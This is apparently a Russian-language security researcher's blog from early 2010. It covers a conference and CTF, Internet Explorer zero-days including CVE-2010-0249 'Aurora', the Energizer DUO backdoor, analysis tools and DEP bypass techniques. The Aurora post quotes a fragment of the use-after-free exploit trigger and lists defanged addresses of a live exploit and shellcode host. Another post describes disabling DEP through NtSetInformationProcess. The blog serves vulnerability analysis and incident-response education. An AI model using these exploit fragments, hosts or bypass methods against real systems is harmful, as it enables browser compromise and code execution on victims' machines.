На следующей недели состоится одно из не многих мероприятий в России посвященных ИБ, которое стоит посетить. Я уже не первый год принимаю активное участие в рамках конференции РусКрипто и за это время она эволюционировала из мероприятия для довольно узкого круга специалистов в серьезное мероприятие посвященное широкому спектру вопросов ИБ.

В этом году в рамках конференции пройдут соревнования CTF, в подготовке которых я принимал активное участие. Но на самом деле CTF состоится по большей части благодаря сотрудникам из Positive Technologies , которые довольно давно загорелись идеей проведения таких соревнований. Мне очень приятно, что отборочный тур успешно прошла команда из МИФИ, а точнее команда (Huge Ego Team) факультета "Б". На самом деле команд мифистов подавших заявку было достаточно много, но лучшими по мнению жюри оказались именно они.

В первый день конференции (не путать с днем заезда :)) я выступлю с докладом в рамках секции «Расследование инцидентов. Механизмы, технологии, проблемы, опыт». Мое выступление будет посвящено проблеме исследования вредоносных программ с точки зрения расследования инцидентов, приходите будет интересно.

Планирую пробыть там все три дня конференции, если хотите пообщаться со мной подходите не стесняйтесь ;)

четверг, 11 марта 2010 г.

Опять бага в IE на этот раз в модуле iepeers.dll

И вот снова очередная уязвимость в MSIE, правда на этот раз уязвимы только 6 и 7 версии этого браузера, которых до сих пор не так мало осталось. Итак, CVE-2010-0806 или Microsoft Security Advisory (981374) , на этот раз ошибка в модуле iepeers.dll и снова подвешенный указатель, который поваляет посредством heap spray выполнить злонамеренный код.
Эксплойт на Metasploit
Wild сплойт
Оба сплойта корректно работают на:
– Microsoft Internet Explorer 7, Windows Vista SP2
– Microsoft Internet Explorer 7, Windows XP SP3
– Microsoft Internet Explorer 6, Windows XP SP3

Internet Explorer 0-day Attack from Panda Security on Vimeo.


Internet Explorer iepeers.dll use-after-free - Demo from Chris John Riley on Vimeo.

вторник, 9 марта 2010 г.

Бэкдор в зарядниках Energizer DUO USB

В конце прошлой недели стало известно от US-CERT о том, что в софте распространяющимся с Energizer DUO USB присутствует бэкдор. А в пятницу Energizer заявила о том, что отзывает продажи этого устройства. Сейчас сэмпл бэкдора можно найти на Internet Archive, на сайте которого сохранена оригинальная страница, в том виде, когда с нее распространялся бэкдор. Судя по всему попал он туда не случайно, но сколько пользователей подвергло себя потенциальной угрозе можно только догадываться.
В состав Metasploit уже включен модуль energizer_duo_detect для использования этого бэкдора.
Сам бэкдор не представляет ничего нового или интересного, функционал довольно стандартный и в системе не пытается себя как-то скрывать. Видимо создатели надеялись на распространение в составе легальной программы, но случайно спалились. При старте бэкдора в системе создается мьютекс CreateMutexA(0, 0, "liuhong-061220"), например для того, чтобы другие вредоносные программы могли использовать этот модуль. Но большинство антивирусных продуктов уже добавили этот бэкдор в свои базы. Данные VirusTotal по детектам.

вторник, 2 марта 2010 г.

И снова уязвимость для IE

Относительно не давно (а точнее на 26 февраля) стала появляться информация о новом 0-day для IE, который эксплуатирует уязвимость в системе вызова HLP-файлов и позволяет удаленно выполнить злонамеренный код.
Суть уязвимости заключается в том, что при вызове из VBScript функции MsgBox() можно выполнить произвольный HLP-файл. Злоумышленник может на специально сформированной веб-странице подтолкнуть пользователя к нажатию клавиши "F1" во всплывающем MsgBox() и таким образом запустить на выполнение HLP-файл из внешней директории (HLP-файл - является исполняемым файлом).
Эта уязвимость работает для Internet Explorer 8,7,6 для Win 2000/2003/XP со всеми установленными последними обновлениями. Win7 и Vista не подвержены данной атаке.
Пример эксплуатации уязвимости:

Описание и концепт сплойта
Эксплойт в составе Metasploit

пятница, 26 февраля 2010 г.

пятница, 19 февраля 2010 г.

pyew - полезняшка на питоне для анализа вредоносного кода

pyew позиционирует себя, как инструмент для быстрого/экспресс анализа вредоносного кода, т.к. проведения для более глубокого анализа потребуется уже и отладчик и IDA. Автор pyew надеяться составить конкуренцию таким инструментам, как hiew, biew, radare прочим вьюверам. Для моих задач hiew конечно не переплюнуть, но программа в целом полезная.
Итак чего умеет:
- Поддерживает форматы: PE, ELF, PDF, OLE2
- Умеет дизассемблировать Intel 16/32/64 (используется distorm)
- К дизасму прикрпучена возможность определить базовые блоки по началу/концу функции и выстраивать перекрестные ссылки. Также умеет парсить импорты/экспорты
- Может находить в коде антиотладочные трюки, все трюки описаны в x86analyzer.py
- Может находить в коде трюки по обнаружению VM, все трюки описаны в vmdetect.py
- Может искать строки в файле заданные в Hexadecimal,String (ASCII and Unicode) или регулярным выражением
- Поддерживает возможность поиска Shellcode и URL
- Умеет автоматом слать запрос на VirusTotal и ThreatExpert

В общем дофига всего интересного умеет, лучше взять и посмотреть все самим.
http://code.google.com/p/pyew/

среда, 10 февраля 2010 г.

JIT spraying или новые техники обхода ASLR и DEP для IE8

В этом месяце на конференции Black Hat 2010, традиционно проходящей в это время года, был представлен интересный доклад "Interpreter Exploitation: Pointer Inference and JIT Spraying". В этом докладе рассматриваются новые методики проведения атаки heap spray на указатели на объекты ActionScript находящиеся в памяти VM при проигрывании Flash-видео. Обход ASLR тут заключается в том, что при создании большого количества похожих объектов в памяти Flash VM нам становится проще ориентироваться в памяти, так как она уже становится не настолько рандомизированной.


Сегодня компания Immunity объявила о выпуске новой версии своего основного продукта Immunity CANVAS, в составе которого есть Aurora IE сплойт для Win7, использующий как раз технологию Flash-JIT-Spray.
Ниже привожу видео в Black Hat демонстрирующие работу технологии Flash-JIT-Spray на Vista SP2 и IE8.


Презентация
Статья

Update:
Интересную статью по теме выложила у себя в блоге компания Fortinet (JIT Spraying in PDF).

понедельник, 1 февраля 2010 г.

Hex-Rays 1.2 have been released!

С сабжевым заголовком сегодня получил собственно письмо от граждан разработчиков, которые прислали мне его аж два раза. Первый раз как пользователю этого продукта, а второй как купившему IDA, они решили еще раз напомнить о существовании Hex-Rays :) Но сейчас не об этом, в этот раз в Rays довольно много существенных изменений, которые меня сильно порадовали и о которых не могу не рассказать.
Итак поехали обо всем по порядку:
- поддержка SSE scalar floating point, ну здесь в общем-то все понятно, теперь вместо asm-вставок того, что раньше не декомпилилось мы видим вполне читаемый код
- ура, теперь наконец-то есть нормальная поддержка условий вида ?: и целочисленного деления %, раньше вместо них было что-то монструозное
- реализована поддержка более 500 intrinsic functions для MS и Intel компиляторов
- преоптимизация при помощи нового микрокода, что позволит сворачивать код более компактно. Это круто, вот бы еще дали доступ к работе с этим микрокодом на уровне API и это пожалуй было бы очень интересно для оптимизации обфусцированного кода
В целом улучшений очень много и код выглядит заметно читабельнее неже ли от предыдущей версии, ну и пофиксили кучу всяких маленьких, но неприятных багов.
Подробнее о новинках, сравнение изменении с предыдущей версией

четверг, 21 января 2010 г.

DEP и CVE-2010-0249 (codname: "Aurora")

Microsoft таки созрела для выпуска незапланированного обновления и оно должно сегодня стать доступным для скачивания, ориентировочно в 21:00 по msk. Но интересно другое, в MS признали факт опасности этой уязвимости только после появления полуприватного эксплойта работающего в обход DEP. Не менее интересно и то, что MS ранее говорила о том, что с включенным DEP всем будет счастье, но минуточку, методы обхода DEP были известны еще в 2005 году. Но только резонанс в СМИ и негодование в сообществе специалистов по ИБ, все-таки сподвигло MS к незапланированному обновлению. Интересная у них позиция получается нет эксплойта нет проблемы, так получается.

DEP можно отключить, если вызвать недокументированную функцию NtSetInformationProcess(), которая живет в ntdll.dll. Вызывать нужно конечно же задав интересующему нас параметру ProcessExecuteFlags значение ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE. Все параметры для NtSetInformationProcess выглядят следующим образом:

Правда надо заметить, что Vista и Win7 с двумя костылями DEP+ASLR, пока не скомпрометированы этим эксплойтом. Но все же пока пользователей XP подавляющее большинство, эта отговорка со стороны MS не принимается.

Забавно, но число посетителей этого блога, использующих IE сильно возросло за прошедшие сутки:

Видимо пользователей IE найденная уязвимость действительно беспокоит :)

А сегодня еще была замечена буря негодования по поводу 0-day длинною в 17 лет, речь идет об уязвимости в Virtual DOS machine (VDM), которая подвергает опасности все 32-битные ОС Windows (правда только локально). Кому интересно сплойт этого "динозавра", он есть здесь.

Правда мне всегда казалось, что об этой уязвимости всем давно известно, да и на публике она упоминалась не раз. А тут вдруг столько шуму подняли в СМИ, видимо решили нагнать еще страху после сплойта для IE.

среда, 20 января 2010 г.

Подробнее об уязвимости CVE-2010-0249 (codname: "Aurora")

Большой резонанс в СМИ вызвала уязвимость CVE-2010-0249, антивирусные компании не перестают смаковать факты об этом инциденте. Но на самом деле так ли опасна эта уязвимость?
Ведь атака heap spray, которая осуществляется в рамках обнаруженных боевых эксплойтов, не может корректно отработать при включенном DEP на IE7 и IE8. По умолчанию DEP активирован на:
· Internet Explorer 8 на Windows XP Service Pack 3
· Internet Explorer 8 на Windows Vista Service Pack 1 и выше
· Internet Explorer 8 на Windows Server 2008
· Internet Explorer 8 на Windows 7
Таким образом количество потенциально возможных жертв сильно сокращается, даже если они перейдут по вредоносной ссылке, то не факт, что эксплойт отработает как надо.
Судя по статистике посещений сервиса Яндекс.Метрика пользователи с IE этот блог не посещают, так что если вы читаете это сообщение можно считать, что вы защищены :)


Суть уязвимости CVE-2010-0249 заключается в неправильной обработки памяти в библиотеке mshtml.dll, а точнее там осталась "подвешенной" ссылка на объект. Злоумышленник может используя JS получить доступ к этому участку памяти следующим образом:
- При помощи вызова document.CreateEventObject() мы получаем доступ к уязвимому объекту
- После этого вызываем document.getElementById(), что убить в памяти бажный объект, но JS-engine от MS все еще дает возможность получить доступ к освобожденной памяти, пока она не занята
Эксплуатировать уязвимость получается из-за доступа к памяти srcElement, при помощи метода CEventObj::GenericGetElement из библиотеки mshtml.dll, которая пытается получить доступ к зачищенному объекту при помощи CElement:: GetDocPtr.

В сплойте это выглядит собственно так:
function ev1(evt)
{
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}
Во всем виновато обращение к изображению:
id="sp1"
src="aurora.gif" onload="ev1(event)"

Посмотреть на эксплойт на питоне можно здесь

Update:
Virustotal показывает, что спустя неделю еще не все обнаруживают этот сплойт.
Кому интересно посмотреть на боевой, то он пока лежит здесь:
hxxp://xx222.8866.org:2988/dz/ie.html (exploit)
hxxp://xx222.8866.org:2988/dz/what.jpg (shellcode)

Update2:
Стало известно о появление переработанного эксплойта, умеющего обходить DEP на XP SP3 и успешно атаковать пользователей с IE 7/8. Но все же DEP+ASLR, пока еще являются серьезным препятствием.